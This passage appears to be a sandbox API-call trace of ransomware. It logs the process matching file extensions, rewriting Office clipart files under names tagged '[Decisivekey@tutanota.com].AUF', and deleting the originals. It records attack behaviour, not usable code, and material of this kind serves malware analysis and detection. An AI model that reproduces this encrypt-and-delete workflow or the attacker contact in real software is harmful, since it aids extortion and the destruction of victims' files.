(lpString1=".rar", lpString2=".WMF") returned -1 [0220.550] lstrlenW (lpString=".bz2") returned 4 [0220.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.550] lstrlenW (lpString=".7z") returned 3 [0220.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0220.550] lstrlenW (lpString=".dbf") returned 4 [0220.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0220.550] lstrlenW (lpString=".1cd") returned 4 [0220.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0220.550] lstrlenW (lpString=".jpg") returned 4 [0220.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.550] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6958) returned 1 [0220.550] CloseHandle (hObject=0x20c) returned 1 [0220.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0220.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.550] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.551] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.551] GetLastError () returned 0x0 [0220.551] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0220.603] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0220.604] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.604] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.604] SetEndOfFile (hFile=0x180) returned 1 [0220.604] CloseHandle (hObject=0x180) returned 1 [0220.604] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.604] SetEndOfFile (hFile=0x20c) returned 1 [0220.605] CloseHandle (hObject=0x20c) returned 1 [0220.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0220.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0220.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0220.605] lstrlenW (lpString=".doc") returned 4 [0220.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.605] lstrlenW (lpString=".docx") returned 5 [0220.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.605] lstrlenW (lpString=".pdf") returned 4 [0220.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.605] lstrlenW (lpString=".xls") returned 4 [0220.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.605] lstrlenW (lpString=".xlsx") returned 5 [0220.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.605] lstrlenW (lpString=".ppt") returned 4 [0220.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0220.605] lstrlenW (lpString=".zip") returned 4 [0220.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.605] lstrlenW (lpString=".rar") returned 4 [0220.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.605] lstrlenW (lpString=".bz2") returned 4 [0220.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.605] lstrlenW (lpString=".7z") returned 3 [0220.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0220.606] lstrlenW (lpString=".dbf") returned 4 [0220.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0220.606] lstrlenW (lpString=".1cd") returned 4 [0220.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0220.606] lstrlenW (lpString=".jpg") returned 4 [0220.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.612] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.612] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.613] GetLastError () returned 0x0 [0220.613] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0220.620] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0220.621] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.621] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.621] SetEndOfFile (hFile=0x180) returned 1 [0220.621] CloseHandle (hObject=0x180) returned 1 [0220.621] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.621] SetEndOfFile (hFile=0x20c) returned 1 [0220.622] CloseHandle (hObject=0x20c) returned 1 [0220.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0220.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0220.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0220.622] lstrlenW (lpString=".doc") returned 4 [0220.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString=".docx") returned 5 [0220.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.623] lstrlenW (lpString=".pdf") returned 4 [0220.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString=".xls") returned 4 [0220.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.623] lstrlenW (lpString=".xlsx") returned 5 [0220.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.623] lstrlenW (lpString=".ppt") returned 4 [0220.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0220.623] lstrlenW (lpString=".zip") returned 4 [0220.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.623] lstrlenW (lpString=".rar") returned 4 [0220.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString=".bz2") returned 4 [0220.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString=".7z") returned 3 [0220.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0220.623] lstrlenW (lpString=".dbf") returned 4 [0220.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0220.623] lstrlenW (lpString=".1cd") returned 4 [0220.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0220.623] lstrlenW (lpString=".jpg") returned 4 [0220.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.623] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=736) returned 1 [0220.623] CloseHandle (hObject=0x20c) returned 1 [0220.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0220.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.624] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.624] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.624] GetLastError () returned 0x0 [0220.624] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2e0, lpOverlapped=0x0) returned 1 [0220.627] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0220.628] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.628] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.628] SetEndOfFile (hFile=0x180) returned 1 [0220.628] CloseHandle (hObject=0x180) returned 1 [0220.628] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.628] SetEndOfFile (hFile=0x20c) returned 1 [0220.629] CloseHandle (hObject=0x20c) returned 1 [0220.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0220.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0220.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0220.629] lstrlenW (lpString=".doc") returned 4 [0220.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString=".docx") returned 5 [0220.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.630] lstrlenW (lpString=".pdf") returned 4 [0220.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString=".xls") returned 4 [0220.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.630] lstrlenW (lpString=".xlsx") returned 5 [0220.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.630] lstrlenW (lpString=".ppt") returned 4 [0220.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0220.630] lstrlenW (lpString=".zip") returned 4 [0220.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.630] lstrlenW (lpString=".rar") returned 4 [0220.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString=".bz2") returned 4 [0220.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.630] lstrlenW (lpString=".7z") returned 3 [0220.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0220.630] lstrlenW (lpString=".dbf") returned 4 [0220.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0220.633] lstrlenW (lpString=".1cd") returned 4 [0220.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0220.633] lstrlenW (lpString=".jpg") returned 4 [0220.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.634] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=17308) returned 1 [0220.634] CloseHandle (hObject=0x20c) returned 1 [0220.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 0x20 [0220.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.634] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.634] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0220.635] GetLastError () returned 0x0 [0220.635] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x439c, lpOverlapped=0x0) returned 1 [0220.665] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x43a0, lpOverlapped=0x0) returned 1 [0220.666] ReadFile (in: hFile=0x20c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.666] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.666] SetEndOfFile (hFile=0x180) returned 1 [0220.674] CloseHandle (hObject=0x180) returned 1 [0220.674] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.674] SetEndOfFile (hFile=0x20c) returned 1 [0220.676] CloseHandle (hObject=0x20c) returned 1 [0220.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0220.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0220.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0220.860] lstrlenW (lpString=".doc") returned 4 [0220.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString=".docx") returned 5 [0220.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.860] lstrlenW (lpString=".pdf") returned 4 [0220.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString=".xls") returned 4 [0220.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.860] lstrlenW (lpString=".xlsx") returned 5 [0220.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.860] lstrlenW (lpString=".ppt") returned 4 [0220.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0220.860] lstrlenW (lpString=".zip") returned 4 [0220.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.860] lstrlenW (lpString=".rar") returned 4 [0220.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString=".bz2") returned 4 [0220.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString=".7z") returned 3 [0220.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0220.860] lstrlenW (lpString=".dbf") returned 4 [0220.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0220.860] lstrlenW (lpString=".1cd") returned 4 [0220.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0220.860] lstrlenW (lpString=".jpg") returned 4 [0220.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.014] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.014] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0221.015] GetLastError () returned 0x0 [0221.015] ReadFile (in: hFile=0x218, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2eda, lpOverlapped=0x0) returned 1 [0221.041] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0221.042] ReadFile (in: hFile=0x218, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.042] WriteFile (in: hFile=0x220, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.042] SetEndOfFile (hFile=0x220) returned 1 [0221.042] CloseHandle (hObject=0x220) returned 1 [0221.042] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.042] SetEndOfFile (hFile=0x218) returned 1 [0221.043] CloseHandle (hObject=0x218) returned 1 [0221.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0221.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0221.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0221.043] lstrlenW (lpString=".doc") returned 4 [0221.043] lstrcmpiW 